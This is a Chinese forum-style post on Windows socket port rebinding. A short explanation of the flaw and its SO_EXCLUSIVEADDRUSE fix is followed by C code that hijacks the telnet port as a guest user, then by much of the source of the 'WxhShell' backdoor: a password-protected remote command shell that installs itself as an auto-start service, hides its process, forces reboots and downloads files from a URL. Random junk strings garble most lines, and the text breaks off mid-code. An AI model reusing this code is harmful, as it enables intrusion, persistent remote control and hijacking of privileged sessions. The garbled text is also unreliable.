在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
")m0{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
9` ,Z*&QR saddr.sin_family = AF_INET;
? cU9~= 5<ZE.'O saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ci*rem {7swE(N bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
"=<T8M D*.U? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
MJ "ug8N [w*YH5kX 这意味着什么?意味着可以进行如下的攻击:
vpnQ s#8O 1;8=,& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
WjLy7& CqK&J
/8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-yyim;Nj A$d)xq-]K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
NMJX ` C:z+8w t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
LF6PKS LFvO[& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
; '6`hZ M~'4>h} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
W^dk: 0xE37Ld, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xib?XzxGo =Q+i(UGHi #include
|T`ZK?B+u #include
_A]8l52pt #include
&.W,Hh #include
a
]~Rp DWORD WINAPI ClientThread(LPVOID lpParam);
9mA6nmp int main()
v9*ugu[K9 {
f6/<lS oW WORD wVersionRequested;
zEM c) DWORD ret;
<O<Kf:i&c1 WSADATA wsaData;
t)qu@m?FZ) BOOL val;
ht>C 6y SOCKADDR_IN saddr;
\NZ(Xk SOCKADDR_IN scaddr;
I:|<};mm int err;
qStZW^lFeY SOCKET s;
b@v_db]|t. SOCKET sc;
5r2A^<) int caddsize;
DtEvt+h HANDLE mt;
"FD`1 DWORD tid;
@ra^0 wVersionRequested = MAKEWORD( 2, 2 );
hZZ err = WSAStartup( wVersionRequested, &wsaData );
nu(;yIRP if ( err != 0 ) {
xdLMy#U2 printf("error!WSAStartup failed!\n");
gDN7ly]6M return -1;
8_W=)w6 }
[,bra8f[C saddr.sin_family = AF_INET;
gPE`mE APgjT';P^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
#Vy8<Vy&w 42oW]b%P{; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Tv[h2_+E saddr.sin_port = htons(23);
8NZQTRdH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1G'D' {
OA7YWk<K printf("error!socket failed!\n");
H*H~~yQ return -1;
88 &M8T'AP }
eae `#>XP val = TRUE;
{1eW*9 //SO_REUSEADDR选项就是可以实现端口重绑定的
]5O]=^
u0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
sRI0; {
fsjCu! printf("error!setsockopt failed!\n");
~tc,p return -1;
a.z)m}+
}
v]GQb //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
eH_< <Xh!v //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
F$j?} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vbh 5 OQ&'3hv{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
],~H3u=s3 {
4%$#
ret=GetLastError();
F{G.dXZZ< printf("error!bind failed!\n");
Bwc_N.w?3 return -1;
50CjH"3PZ` }
:w<Ga8\tZ listen(s,2);
|{ @BH while(1)
5{xK&[wR* {
der\"?_. caddsize = sizeof(scaddr);
+QEP:#qZw //接受连接请求
sOO_J!bblP sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ny"z<N&}/ if(sc!=INVALID_SOCKET)
x#XxD<y {
FN/siw(?3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
E*x ct-m# if(mt==NULL)
LP'wL6# {
$-p9cyk printf("Thread Creat Failed!\n");
[(2XL"4D break;
q#O8Fv }
fZp3g%u }
UP7?9\ CloseHandle(mt);
(]` rri*^ }
FR']Rj closesocket(s);
8},: WSACleanup();
q?qH7={,eu return 0;
*\Lr]6k }
8+ ]'2{ DWORD WINAPI ClientThread(LPVOID lpParam)
Ro_jfM {
^'n;W<\p) SOCKET ss = (SOCKET)lpParam;
[a_o3 SOCKET sc;
#||D,[ _=+ unsigned char buf[4096];
N9s+Tm SOCKADDR_IN saddr;
1ozb
tn long num;
hEFOT]P4 DWORD val;
0YC|;`J DWORD ret;
Qff.QI, //如果是隐藏端口应用的话,可以在此处加一些判断
6!se,SCvw //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]_j={0% saddr.sin_family = AF_INET;
RT(ejkLZm saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?./%7v saddr.sin_port = htons(23);
s!S_Bt):3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z+{xW7 {
{:|b,ep
T printf("error!socket failed!\n");
/I((A/ks return -1;
<I#M^}` }
pfs]pDjS: val = 100;
6a<zZO`Z6+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
wD:2sri {
l&*=
.Zc7! ret = GetLastError();
A+j!VM return -1;
~(#iGc]7 }
l"7#(a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vOLa.%X]h {
_Ie:!q ret = GetLastError();
UmArl)R/ return -1;
a;v4R[lQ }
%WC^aKfY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ddN G: {
!
,0 printf("error!socket connect failed!\n");
WEJ-K<A( closesocket(sc);
B*Ey&DAV closesocket(ss);
8.>himL return -1;
2[;~@n1P
}
CZ'm|^S while(1)
0OQ*V~>f {
N:okt)q:% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
4UUbX //如果是嗅探内容的话,可以再此处进行内容分析和记录
E N CWOj //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
3kk^hvB+f num = recv(ss,buf,4096,0);
)dqNN tS if(num>0)
lux
g1> send(sc,buf,num,0);
KYtCN+vsG else if(num==0)
*i^$xjOa break;
LiV&47e*> num = recv(sc,buf,4096,0);
~59lkr8 if(num>0)
-{ 1P`&G send(ss,buf,num,0);
9#@s(s else if(num==0)
u~j
H
break;
d+,!p8Q }
m7g*zu2# closesocket(ss);
2dkWzx closesocket(sc);
[}j a\!P return 0 ;
Ec}%!p_$ }
Wm`*IBWA nEd
"~ g:a[N%[C ==========================================================
$b1>,d'oz Vjv6d&Q 下边附上一个代码,,WXhSHELL
-5+Yz9pv[ 05T?c{ ; ==========================================================
wCg7JW#
-43>?m/a #include "stdafx.h"
A1-,b.Ni rFpYlMct #include <stdio.h>
(,#m+ #include <string.h>
E<+ G5j #include <windows.h>
`ZEFH7P #include <winsock2.h>
c6vJ;iz #include <winsvc.h>
>&;J/ME #include <urlmon.h>
36OQHv;& ~_JfI7={Jn #pragma comment (lib, "Ws2_32.lib")
dT'}:2 #pragma comment (lib, "urlmon.lib")
*O'|NQhNx> ho{%7\ #define MAX_USER 100 // 最大客户端连接数
1 jB0gNe #define BUF_SOCK 200 // sock buffer
3@x[M?$ #define KEY_BUFF 255 // 输入 buffer
A@<
! ' .Xp,|T #define REBOOT 0 // 重启
Mu`_^gG #define SHUTDOWN 1 // 关机
.B~yI3D`M wp1O*)/q #define DEF_PORT 5000 // 监听端口
</_QldL_ j%`
C #define REG_LEN 16 // 注册表键长度
s:6K'* #define SVC_LEN 80 // NT服务名长度
IQ\!wWKmY ib(|}7Je // 从dll定义API
Wtu-g**KN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
"vybVWEE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
iSf%N>y'K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
i695P}J2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
T U_'1 zu?112-v2 // wxhshell配置信息
%_:L_VD@ struct WSCFG {
;q-c[TZC int ws_port; // 监听端口
:a&M]+! char ws_passstr[REG_LEN]; // 口令
_$T
!><)y int ws_autoins; // 安装标记, 1=yes 0=no
{91Y;p
C char ws_regname[REG_LEN]; // 注册表键名
%bnjK#o"Q char ws_svcname[REG_LEN]; // 服务名
YpbJoHiSH char ws_svcdisp[SVC_LEN]; // 服务显示名
%u$dN9cw char ws_svcdesc[SVC_LEN]; // 服务描述信息
Vg"Ze[dA
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
e-o$bf% int ws_downexe; // 下载执行标记, 1=yes 0=no
n{Mj<\kL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
t>v']a +k char ws_filenam[SVC_LEN]; // 下载后保存的文件名
V*'9yk" <s#}`R.#2 };
t5N4d &/, BFx" // default Wxhshell configuration
9H3#8T] ; struct WSCFG wscfg={DEF_PORT,
a Ts_5q "xuhuanlingzhe",
TCF[iE{ 1,
oci-[CI, "Wxhshell",
1^Zx-p3J "Wxhshell",
C>;yW7*g" "WxhShell Service",
g%=\Wiit] "Wrsky Windows CmdShell Service",
xD1B50y U "Please Input Your Password: ",
*G~c6BZ 1,
c/2OR#$t "
http://www.wrsky.com/wxhshell.exe",
f3l >26 "Wxhshell.exe"
uR)@v^$FE };
>uJrq""+ *}w.xt // 消息定义模块
I@L-%#@R1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!Xj m h$F char *msg_ws_prompt="\n\r? for help\n\r#>";
|k+&weuY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
PUYo >eB)0 char *msg_ws_ext="\n\rExit.";
&GD7ldck char *msg_ws_end="\n\rQuit.";
w pCS]2 char *msg_ws_boot="\n\rReboot...";
(I~,&aBr char *msg_ws_poff="\n\rShutdown...";
\AK|~:\] char *msg_ws_down="\n\rSave to ";
@i)tQd!s 1k/l7&n" char *msg_ws_err="\n\rErr!";
w\2[dd char *msg_ws_ok="\n\rOK!";
lJzy)ne jc.JX_/ char ExeFile[MAX_PATH];
H'GYJ ?U" int nUser = 0;
<h_P+ nz HANDLE handles[MAX_USER];
{I-a;XBX int OsIsNt;
1H4Zgh
U L0mnU)Q}C SERVICE_STATUS serviceStatus;
soq".+Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
1:x nD )ozcr^ // 函数声明
"c/s/$k// int Install(void);
U\Ar*b) /T int Uninstall(void);
/uE^H%9h int DownloadFile(char *sURL, SOCKET wsh);
y /:T(tk$ int Boot(int flag);
p?V?nCv1O void HideProc(void);
#(C/Cx54 int GetOsVer(void);
mjb{~ int Wxhshell(SOCKET wsl);
_%Bz,C8 void TalkWithClient(void *cs);
!tEe\K\e int CmdShell(SOCKET sock);
!z"Nv1!~| int StartFromService(void);
Y\xUT>(J7 int StartWxhshell(LPSTR lpCmdLine);
@mf({Q> {<2>6 _z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e,HMwD VOID WINAPI NTServiceHandler( DWORD fdwControl );
\m4T3fy Cq>6rn // 数据结构和表定义
0DNU,u SERVICE_TABLE_ENTRY DispatchTable[] =
n@!wp/J, {
xCWz\-; {wscfg.ws_svcname, NTServiceMain},
xjo;kx\y^ {NULL, NULL}
H}Ucrv: };
I"@p aLZ ~,"N[Q // 自我安装
!9;)N, int Install(void)
GIT#<+" {
22
&'@C> char svExeFile[MAX_PATH];
DP9LO_{ HKEY key;
Z) Wnow strcpy(svExeFile,ExeFile);
NjX[;e-u prtK:eGe2 // 如果是win9x系统,修改注册表设为自启动
s~^}F +n if(!OsIsNt) {
qP3q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
F";.6%;AC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gl{B=NN RegCloseKey(key);
$7Z)Yp&T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7]Em, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j+rG7z){K RegCloseKey(key);
:>+\17tx return 0;
Ag9?C* }
iafE5b) }
]y#3@ }
_,haD)1g~ else {
}!p`1]gem NI aFI( // 如果是NT以上系统,安装为系统服务
;=4Xz\2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*bd[S0l if (schSCManager!=0)
$,3J7l3 {
>6<q8{* SC_HANDLE schService = CreateService
d\]Yk]r (
"ZrOrdlg+A schSCManager,
v6GPS1:a wscfg.ws_svcname,
.uF[C{RnO wscfg.ws_svcdisp,
)G~w[~ SERVICE_ALL_ACCESS,
{pL+2%`~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
A1"SLFY SERVICE_AUTO_START,
x79Ha, SERVICE_ERROR_NORMAL,
CyDV r svExeFile,
<\ `$Jx# NULL,
xtfBfA NULL,
l12{fpm NULL,
q%Yn;g|_ NULL,
/w (e NULL
1v zb8. );
-=`#fDvBn if (schService!=0)
0@I S {
F@ Swe CloseServiceHandle(schService);
(wRgus CloseServiceHandle(schSCManager);
6$\jAd| strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_8,()t'" strcat(svExeFile,wscfg.ws_svcname);
|`TgX@,#9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
En{`@JsM RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
1rKy@9 RegCloseKey(key);
M_g?<rK return 0;
/D!;u] }
M{g%cR0 }
*/:uV
B,b2 CloseServiceHandle(schSCManager);
>-8cU_m7s }
6;'dUGvH }
d?wc*N3 .*g0w`H5pU return 1;
b~=0[Rv }
t>=fTkB &i+Ce // 自我卸载
7x);x/#8Z int Uninstall(void)
kF(n!2"W {
7lV.[&aKW HKEY key;
%yBB?cp+_ #7ohQrP if(!OsIsNt) {
U_x )#,4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Hso|e?Z RegDeleteValue(key,wscfg.ws_regname);
%`Z+a.~ U RegCloseKey(key);
S*o[ZA
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,XDRO./+T RegDeleteValue(key,wscfg.ws_regname);
xvl3vAN9 RegCloseKey(key);
A, 3bC return 0;
f+8wl!M+6 }
o1M$.* }
n3AaZp[ }
(aOv#Vor]% else {
{9UEq0 >leU:7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4=<tWa|@9 if (schSCManager!=0)
x
}Ad_#q {
'AN>`\mR$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=[b)1FUp if (schService!=0)
q`-;AG|xF {
(x/k.& if(DeleteService(schService)!=0) {
ck?YI]q| CloseServiceHandle(schService);
dXF^(y]l CloseServiceHandle(schSCManager);
p
w8 s8? return 0;
`tP7ncky }
_S>JKz CloseServiceHandle(schService);
1UPC e }
'>r7V CloseServiceHandle(schSCManager);
EoK~S\dS }
'!/<P"5t }
0lhVqy}:}o R(q~ -3~ return 1;
&=VDASEu }
^R:cd8+?% ^fZ&QK // 从指定url下载文件
0u\GO; int DownloadFile(char *sURL, SOCKET wsh)
y;s`P. {
~\ J}Kqg HRESULT hr;
tH-C8Qxy char seps[]= "/";
j4qJ.i char *token;
%Dwk char *file;
Q ]}Hd- char myURL[MAX_PATH];
oYukLr char myFILE[MAX_PATH];
[VE8V- /`mks1:pK strcpy(myURL,sURL);
<J^MCqp!v token=strtok(myURL,seps);
O)[1x4U while(token!=NULL)
vM5k_D {
6I%5Q4Ll file=token;
e)(wss+d7P token=strtok(NULL,seps);
nDHTV!]< }
oH_;4QU4y =3L;Z[^9 GetCurrentDirectory(MAX_PATH,myFILE);
[eC2"&} strcat(myFILE, "\\");
.ev?"!Vpp9 strcat(myFILE, file);
_H5o'>= send(wsh,myFILE,strlen(myFILE),0);
HSc~*Q send(wsh,"...",3,0);
1fpQLaT hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
H ' if(hr==S_OK)
3f,hw5R return 0;
/pT=0= else
B]Thn return 1;
*{L)dW+: H !$o$}A }
zx)z/1 (L/_^!ZX // 系统电源模块
x^y'P<ypw int Boot(int flag)
Eea*s' {
sVOyT*GY HANDLE hToken;
>Z'NXha TOKEN_PRIVILEGES tkp;
?.Ca|H< ee^{hQi if(OsIsNt) {
?!` /m|" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
0@%v1Oja LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*2,VyY tkp.PrivilegeCount = 1;
T( U_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`~By)?cT_> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
m)'=G%y if(flag==REBOOT) {
$w`=z<2yo1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=`H@% return 0;
'F9 jq }
tM'P m else {
=Jyu4j *} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u)+8S/ ) return 0;
E?
;0)'h }
T7hcnF$ }
y.< m#Zzt else {
%`1q-,>v if(flag==REBOOT) {
\D*KGd]M0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Na]:_K5Dp return 0;
;z $(nhJ }
6\q]rfQ else {
rE.;g^4p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
RwpdRBb return 0;
D$I5z.a }
wNpTM8rfU# }
Y,^@P ).`1+b return 1;
jK& h~) }
5>D>% iaHv Q7jb'y$ozO // win9x进程隐藏模块
h7lDHIQf void HideProc(void)
3u*4o=4e {
5YeM%%-S |EX(8y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
dMv=gdY if ( hKernel != NULL )
`ZyI!" {
YIQ
4t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
N"Zt47( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0" FreeLibrary(hKernel);
Nfrw0b }
"n(hfz0y% >UiYL}'br6 return;
^
*k?pJ5 }
9PXFRxGA =Y|VgV // 获取操作系统版本
Z>:NPZODf int GetOsVer(void)
Vc&!OE {
p6>Svcc OSVERSIONINFO winfo;
5Ha9lM2gh winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
5q3JI GetVersionEx(&winfo);
Y']\Jq{OS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
E7j(QOf return 1;
SJb&m- else
. qO@Q = return 0;
2_HNhW
}
qkDI](4 ^c"jH'#.L // 客户端句柄模块
'3/4?wi int Wxhshell(SOCKET wsl)
%*A0# F {
A5c%SCq; SOCKET wsh;
KX ,S struct sockaddr_in client;
`VA"vwz DWORD myID;
=Y{(%sn <\rT%f}3^ while(nUser<MAX_USER)
UZ\u;/} {
h7G"G" int nSize=sizeof(client);
V_:1EBzz wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4;e5H_}Oo if(wsh==INVALID_SOCKET) return 1;
p& y<I6a, x kx^%3dV handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
81? hY4 if(handles[nUser]==0)
_{I3i:f9X8 closesocket(wsh);
X5zDpi|Dq else
Aza /6OL nUser++;
ak$f"py
x }
2VmNZ{< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Hq'`8f8N 7Wf/$vRab return 0;
MU@UfB|;u }
=upeRY@u5 ZCMw3]* // 关闭 socket
c69C void CloseIt(SOCKET wsh)
pnl{&<$C%C {
,k +IPkN+ closesocket(wsh);
o5Dk:Bw nUser--;
I5k$H$ ExitThread(0);
%P;lv*v. }
1{)5<!9! l : %lTU // 客户端请求句柄
u1J0$ void TalkWithClient(void *cs)
^n*)7K[
{
Uf:` f(>p=%=O SOCKET wsh=(SOCKET)cs;
NW~N}5T char pwd[SVC_LEN];
,`'Qi%O char cmd[KEY_BUFF];
%f&/E"M char chr[1];
>6ni")Q9 int i,j;
v,FU^f-' 3]5^r} while (nUser < MAX_USER) {
2,DXc30I x>**;#7) if(wscfg.ws_passstr) {
u(z$fG:g if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
HZ aV7dOZ8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)X1{ //ZeroMemory(pwd,KEY_BUFF);
Xpr?Kgz i=0;
\T4v|Pw\ while(i<SVC_LEN) {
%6|nb:Oa 6hno)kd{= // 设置超时
Gt\lFQ
fd_set FdRead;
QE^$=\l0 struct timeval TimeOut;
m]'#t)B_m FD_ZERO(&FdRead);
$.Qkb@} FD_SET(wsh,&FdRead);
!S$:*5=& TimeOut.tv_sec=8;
vDp8__^ TimeOut.tv_usec=0;
bBiE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
u}#(.)a: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>@U*~Nz eQ$Y0qH1E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
W\>fh&!) pwd
=chr[0]; k9<;woOBO
if(chr[0]==0xd || chr[0]==0xa) { t;|@o\
pwd=0; BGvre'67
break; ST|x23|O]
} piJu+tUy
i++; 4.k0<
} [u
=+3b
DHyq^pJ
// 如果是非法用户,关闭 socket Df}A^G >X
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MR;1
2*p
} ny]?I
S4Pxc
]!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9>=;FY
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GF"hx`zyJ
]tim,7s
while(1) { y8d]9sX{
)Oq|amvC
ZeroMemory(cmd,KEY_BUFF); ;nI] !g:
!eGC6o}f
// 自动支持客户端 telnet标准 L 8c0lx}Nn
j=0; l?E{YQq]
while(j<KEY_BUFF) { Wjo[ENHM
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gIo@Pm
cmd[j]=chr[0]; Z|&MKG24
if(chr[0]==0xa || chr[0]==0xd) { jSJqE_ 1
cmd[j]=0; Rm2yPuOU}A
break; %h hfU6[
} ,bZL C
j++; h!M
} B~?*?Z'
59 h]UX=
// 下载文件 +UC G0D
if(strstr(cmd,"http://")) { @T@<_ ?)
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
kq?Ms|h
if(DownloadFile(cmd,wsh)) pD8+ 4;A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); el&0}`K
else 7dN*lks
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'I`&Yo~c9
} ]dF
,:8
else { D+#E-8
*-#&K\
switch(cmd[0]) { Ij 79~pn
d.[8c=$
// 帮助 kT|dUw9G
case '?': { .nO\kg oK
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QpF;:YX^3
break; OP;v bZ
} Qu"8(Jk/
// 安装 Cw~q4A6'
case 'i': { pXtl
6K%
if(Install()) 2_)\a(.Qu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?)/#+[xa
else *tGY6=7O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Oy%a'w
break; 36.Z0Z1'F>
} jY&k
// 卸载 SbcS]H5Sk
case 'r': { !d'GE`w T
if(Uninstall()) HsxVZ.dS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Wg'i!?cB
else LhN|1f:9:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); md+nj{Ib
break; m.hkbet/R
} aasoW\UG
// 显示 wxhshell 所在路径 8bxfj<O,
case 'p': { ~cWAl,(B<F
char svExeFile[MAX_PATH]; S2E8Gq9
strcpy(svExeFile,"\n\r"); x;w6na
strcat(svExeFile,ExeFile); ?}qttj
send(wsh,svExeFile,strlen(svExeFile),0); X3(tuqmi
break; e4-@f%5
} hC:n5]K
// 重启 }pDqe;a{
case 'b': { ~Cbc<[}
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MvuQz7M#d
if(Boot(REBOOT)) [<7@{;r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?yZ+D z\
else { \$R_YKGf1G
closesocket(wsh); D{!6Y*d6&s
ExitThread(0); t9nqu!);
} [v7F1@6b
break; dA#Q}.*r
} m&xW6!x
// 关机 R$v[!A+:'
case 'd': { Q}`0W[a
~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P|^f0Rw3.
if(Boot(SHUTDOWN)) dW)B1iUo!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B3: ez
jj
else { q6@Lp^f
closesocket(wsh); $:BKzHmg
ExitThread(0); |<HPn4
,X
} Ut*`:]la
break; 1=t>HQ
} ?Fi=P#
// 获取shell _+p4Wvu~0
case 's': { :imW\@u
CmdShell(wsh); ^2+yHw
closesocket(wsh); 48c1gUwoP
ExitThread(0); 4F)-"ck
break; /rMI"khB
} ]*vdSr-J
// 退出 %kv0Wefs
case 'x': { B&\IGWG(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0Z~p%C<LW
CloseIt(wsh); 0vFD3}~>
break; Qi^Z11
} `2' #!-
// 离开 wr5AG<%(
case 'q': { {F3xJ[
send(wsh,msg_ws_end,strlen(msg_ws_end),0); X59:C3c
closesocket(wsh); i8`Vv7LF
WSACleanup(); JF # #
[O
exit(1); C3*gn}[
break; GO8GJ;B-U
} <%($7VMev
} ^.KwcXr
} >XK
PTC5H
IT(lF
// 提示信息 Q
7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >{N9kWY
} s1=X>'q
} '{E@*T/<.
Y'yH;Mz
return; 9bP^`\K[N
} SNfr"2c'h~
0KYEb%44
// shell模块句柄 1xD=ffM>8N
int CmdShell(SOCKET sock) 5V6G=H
{ pNOwDJtK
STARTUPINFO si; G;&-\0>W
ZeroMemory(&si,sizeof(si)); 1KMLG=
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y&Mr=5:y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZNf6;%oGG
PROCESS_INFORMATION ProcessInfo; {)"iiJ
char cmdline[]="cmd"; X*M#FT-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |kw)KEi}H
return 0; UF?H>Y&
} iTFdN}U
)0ea+ib
// 自身启动模式 P\w\N2
int StartFromService(void) eCN })An
{ =+ytTQc*ot
typedef struct f47Od-\-
{ |K6REkzr
DWORD ExitStatus; |<#{"'/=
DWORD PebBaseAddress; mX\TD0$d
DWORD AffinityMask; n1~o1
DWORD BasePriority; xgpi-l
ULONG UniqueProcessId; MNC*Glj=
ULONG InheritedFromUniqueProcessId; CsTF
